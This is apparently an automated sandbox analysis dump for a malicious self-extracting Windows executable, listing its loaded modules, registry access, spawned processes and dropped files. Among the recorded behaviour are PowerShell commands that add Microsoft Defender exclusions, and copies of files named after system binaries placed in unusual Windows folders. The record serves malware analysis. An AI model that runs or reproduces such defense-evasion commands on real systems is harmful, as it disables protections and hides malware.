"%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f30000 "wininit.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 74080000 "wininit.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 69fd0000 "wininit.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 760f0000 "csrss.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6a0e0000 "csrss.exe" loaded module "NTDLL.DLL" at base 77460000 "dllhost.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 760f0000 "dllhost.exe" loaded module "CRYPTSP.DLL" at base 74d70000 "dllhost.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74b00000 "dllhost.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 62ec0000 "dllhost.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 684b0000 "dllhost.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 62050000 "dllhost.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 69fd0000 "dllhost.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 610b0000 "dllhost.exe" loaded module "SHELL32.DLL" at base 76810000 "dllhost.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 760f0000 "dllhost.exe" loaded module "PROFAPI.DLL" at base 75370000 "dllhost.exe" loaded module "BCRYPT.DLL" at base 74e8000041:T402,"intoHostDhcp.exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" at 63920000 "csrss.exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" at 63920000 "dllhost.exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" at 63920000 "wininit.exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" at 63920000 "OSPPSVC.exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" at 63920000 "conhost.exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" at 63920000 "powershell.exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" at 6392000042:T56e,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1" was detected as "WinRAR" and name: "sfx" "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1" was detected as "Microsoft Visual C/C++" and name: "Compiler" "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1" was detected as "Microsoft Linker" and name: "Linker" "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1" was detected as "RAR" and name: "Archive" "intoHostDhcp.exe" was detected as "WinRAR" and name: "sfx" "intoHostDhcp.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "intoHostDhcp.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "intoHostDhcp.exe" was detected as "Microsoft Linker" and name: "Linker" "intoHostDhcp.exe" was detected as "RAR" and name: "Archive" "DISMHOST.EXE.6A9EA94A.bin" was detected as "WinRAR" and name: "sfx" "DISMHOST.EXE.6A9EA94A.bin" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "DISMHOST.EXE.6A9EA94A.bin" was detected as "Microsoft Visual C/C++" and name: "Compiler" "DISMHOST.EXE.6A9EA94A.bin" was detected as "Microsoft Linker" and name: "Linker" "DISMHOST.EXE.6A9EA94A.bin" was detected as "RAR" and name: "Archive"43:T189a,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" touched "Microsoft Multiple AutoComplete List Container" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" touched "Microsoft Shell Folder AutoComplete List" (Path: "HKCU\CLSID\{03C036F1-A186-11D0-824A-00AA005B4383}\TREATAS") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" touched "Microsoft AutoComplete" (Path: "HKCU\CLSID\{00BB2763-6A77-11D0-A535-00C04FD7D062}\TREATAS") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" touched "Microsoft TipAutoCompleteClient Control" (Path: "HKCU\CLSID\{807C1E6C-1D00-453F-B920-B61BB7CDD997}\TREATAS") "WScript.exe" touched "Portable Devices" (Path: "HKCU\CLSID\{35786D3C-B075-49B9-88DD-029876E11C01}\SHELLFOLDER") "WScript.exe" touched "Portable Media Devices" (Path: "HKCU\CLSID\{640167B4-59B0-47A6-B335-A6B3C0695AEA}\SHELLFOLDER") "WScript.exe" touched "Enhanced Storage Data Source" (Path: "HKCU\CLSID\{9113A02D-00A3-46B9-BC5F-9C04DADDD5D7}\SHELLFOLDER") "WScript.exe" touched "delegate folder that appears in Computer" (Path: "HKCU\CLSID\{B155BDF8-02F0-451E-9A26-AE317CFD7779}\SHELLFOLDER") "WScript.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "WScript.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "WScript.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "WScript.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "WScript.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "WScript.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "WScript.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "WScript.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "WScript.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "WScript.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "WScript.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "WScript.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "WScript.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "WScript.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "WScript.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "WScript.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "WScript.exe" touched "VBScript Language Encoding" (Path: "HKCU\CLSID\{B54F3743-5B07-11CF-A4B0-00AA004A55E8}\TREATAS") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "intoHostDhcp.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "intoHostDhcp.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "intoHostDhcp.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "intoHostDhcp.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "intoHostDhcp.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "intoHostDhcp.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "wininit.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "wininit.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "powershell.exe" touched "NDP SymBinder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")44:T615,Observed system executable string:"%WINDIR%\System32\WScript.exe" [Source: 00000000-00005856-00000C47-12073512498] Observed system executable string:""%WINDIR%\System32\WScript.exe" "C:\BlockproviderComponentweb\no2eZG6mwS0.vbe"" [Source: 00000000-00005856-00000C47-12073512498] Observed system executable string:"%WINDIR%\PLA\Templates\wininit.exe" [Source: 00000000-00005752-00000C3D-28302001476] Observed system executable string:"%WINDIR%\L2Schemas\csrss.exe" [Source: 00000000-00005752-00000C3D-38085710060] Observed system executable string:"%WINDIR%\Media\Quirky\conhost.exe" [Source: 00000000-00005752-00000C3D-42944547386] Observed system executable string:""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\PLA\Templates\wininit.exe'" [Source: 00000000-00005752-00000C47-57644158982] Observed system executable string:""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\L2Schemas\csrss.exe'" [Source: 00000000-00005752-00000C47-62588816466] Observed system executable string:""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\Media\Quirky\conhost.exe'" [Source: 00000000-00005752-00000C47-74042780816] Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00005752-00000C47-161141855418] Observed system executable string:""%WINDIR%\System32\cmd.exe" /C "%TEMP%\LkZH0FaUeD.bat"" [Source: 00000000-00005752-00000C47-161141855418] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00004068-00000C2B-246978212]45:T50c,Process "WScript.exe" (UID: 00000000-00005316) was launched with new environment variables: "sfxcmd=""C:\a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe"", sfxname="C:\a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe", USERDNSDOMAIN="%OSUSER%-PC", sfxstime="2026-09-07-02-03-09-404"" Process "WScript.exe" (UID: 00000000-00005316) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "intoHostDhcp.exe" (UID: 00000000-00005752) was launched with new environment variables: "PROMPT="$P$G"" Process "powershell.exe" (UID: 00000000-00004068) was launched with new environment variables: "sfxcmd=""C:\a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe"", PROMPT="$P$G", sfxname="C:\a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe", USERDNSDOMAIN="%OSUSER%-PC", sfxstime="2026-09-07-02-03-09-404"" Process "powershell.exe" (UID: 00000000-00004068) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "csrss.exe" (UID: 00000000-00004056) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "csrss.exe" (UID: 00000000-00004056) was launched with missing environment variables: "sfxcmd, PROMPT, sfxname, USERDNSDOMAIN, sfxstime"46:T8be,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "intoHostDhcp.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "intoHostDhcp.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "intoHostDhcp.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "intoHostDhcp.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "intoHostDhcp.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "csrss.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "csrss.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "csrss.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "dllhost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "dllhost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "dllhost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "wininit.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "wininit.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "OSPPSVC.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US")47:Tefc,Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00005856-00000C2B-205005470] Observed system executable string:"%WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll" [Source: 00000000-00005856-00000C2B-205133258] Observed system executable string:"%WINDIR%\system32\shell32.dll" [Source: 00000000-00005856-00000C2B-206724026] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00005856-00000C2B-206990294] Observed system executable string:"%WINDIR%\system32\MSCTF.dll" [Source: 00000000-00005856-00000C2B-207208908] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00005316-00000C2B-210219551] Observed system executable string:"%WINDIR%\system32\CRYPT32.dll" [Source: 00000000-00005316-00000C2B-210405328] Observed system executable string:"%WINDIR%\system32\wshext.dll" [Source: 00000000-00005316-00000C2B-210456983] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00005752-00000C2B-217641649] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00005752-00000C2B-217955958] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00005752-00000C2B-218954606] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005752-00000C2B-219075901] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00005752-00000C2B-219308361] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00005752-00000C2B-219374549] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00005752-00000C2B-219795599] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00005752-00000C2B-220266732] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" [Source: 00000000-00005752-00000C2B-220337192] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00005752-00000C2B-220422946] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00005752-00000C2B-220568309] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00005752-00000C2B-220742606] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00005752-00000C2B-220801526] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00005752-00000C2B-220871047] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00005752-00000C2B-221223039] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00005752-00000C2B-221497840] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00005752-00000C2B-221835152]48:T852,Spawned process "WScript.exe" with commandline ""C:\\BlockproviderComponentweb\\no2eZG6mwS0.vbe"" (UID: 00000000-00005316) Spawned process "cmd.exe" with commandline "/c ""C:\\BlockproviderComponentweb\\QGmdpYGOg.bat" "" (UID: 00000000-00005780) Spawned process "intoHostDhcp.exe" (UID: 00000000-00005752) Spawned process "csrss.exe" (UID: 00000000-00006116) Spawned process "dllhost.exe" (UID: 00000000-00004364) Spawned process "wininit.exe" (UID: 00000000-00001920) Spawned process "OSPPSVC.exe" (UID: 00000000-00001572) Spawned process "conhost.exe" (UID: 00000000-00003744) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\Bloc ..." (UID: 00000000-00004068) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%USERPRO ..." (UID: 00000000-00004328) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\TorS ..." (UID: 00000000-00002716) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\Bloc ..." (UID: 00000000-00001248) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR% ..." (UID: 00000000-00003876) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\Temp ..." (UID: 00000000-00003824) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR% ..." (UID: 00000000-00002964) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR% ..." (UID: 00000000-00001704) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\Bloc ..." (UID: 00000000-00003720) Spawned process "wininit.exe" (UID: 00000000-00004020) Spawned process "csrss.exe" (UID: 00000000-00004056) Spawned process "dllhost.exe" (UID: 00000000-00003284) Spawned process "OSPPSVC.exe" (UID: 00000000-00000824)49:T852,Spawned process "WScript.exe" with commandline ""C:\\BlockproviderComponentweb\\no2eZG6mwS0.vbe"" (UID: 00000000-00005316) Spawned process "cmd.exe" with commandline "/c ""C:\\BlockproviderComponentweb\\QGmdpYGOg.bat" "" (UID: 00000000-00005780) Spawned process "intoHostDhcp.exe" (UID: 00000000-00005752) Spawned process "csrss.exe" (UID: 00000000-00006116) Spawned process "dllhost.exe" (UID: 00000000-00004364) Spawned process "wininit.exe" (UID: 00000000-00001920) Spawned process "OSPPSVC.exe" (UID: 00000000-00001572) Spawned process "conhost.exe" (UID: 00000000-00003744) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\Bloc ..." (UID: 00000000-00004068) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%USERPRO ..." (UID: 00000000-00004328) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\TorS ..." (UID: 00000000-00002716) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\Bloc ..." (UID: 00000000-00001248) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR% ..." (UID: 00000000-00003876) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\Temp ..." (UID: 00000000-00003824) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR% ..." (UID: 00000000-00002964) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR% ..." (UID: 00000000-00001704) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\Bloc ..." (UID: 00000000-00003720) Spawned process "wininit.exe" (UID: 00000000-00004020) Spawned process "csrss.exe" (UID: 00000000-00004056) Spawned process "dllhost.exe" (UID: 00000000-00003284) Spawned process "OSPPSVC.exe" (UID: 00000000-00000824)4a:T1530,"intoHostDhcp.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [C:\BlockproviderComponentweb\intoHostDhcp.exe]- [targetUID: 00000000-00005780] "615a949d-4820-474a-9d77-81f8861d75cf.vbs" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\615a949d-4820-474a-9d77-81f8861d75cf.vbs]- [targetUID: 00000000-00001920] "063b1879-8590-40ca-8d37-4f6749b521e8.vbs" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "no2eZG6mwS0.vbe" has type "data"- Location: [C:\BlockproviderComponentweb\no2eZG6mwS0.vbe]- [targetUID: 00000000-00005316] "LkZH0FaUeD.bat" has type "DOS batch file ASCII text with CRLF line terminators"- Location: [%TEMP%\LkZH0FaUeD.bat]- [targetUID: 00000000-00005752] "QGmdpYGOg.bat" has type "ASCII text with no line terminators"- Location: [C:\BlockproviderComponentweb\QGmdpYGOg.bat]- [targetUID: 00000000-00005780] "DISMHOST.EXE.6A9EA94A.bin" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- [targetUID: N/A] "ModuleAnalysisCache" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00002964] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4987 bytes 1 file at 0x2c last modified Sep 04 2025 20:23:24 +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00001248] "5940a34987c991" has type "ASCII text with very long lines (891) with no line terminators"- Location: [%ALLUSERSPROFILE%\Oracle\Java\javapath_target_623756\5940a34987c991]- [targetUID: 00000000-00005752] "088424020bedd6" has type "ASCII text with very long lines (772) with no line terminators"- Location: [%WINDIR%\Media\Quirky\088424020bedd6]- [targetUID: 00000000-00005752] "1610b97d3ab4a7" has type "ASCII text with very long lines (727) with no line terminators"- Location: [C:\BlockproviderComponentweb\1610b97d3ab4a7]- [targetUID: 00000000-00005752] "886983d96e3d3e" has type "ASCII text with very long lines (710) with no line terminators"- Location: [C:\TorService\tor\pluggable_transports\886983d96e3d3e]- [targetUID: 00000000-00005752] "886983d96e3d3e" has type "ASCII text with very long lines (573) with no line terminators"- Location: [%WINDIR%\L2Schemas\886983d96e3d3e]- [targetUID: 00000000-00005752] "088424020bedd6" has type "ASCII text with very long lines (536) with no line terminators"- Location: [C:\BlockproviderComponentweb\088424020bedd6]- [targetUID: 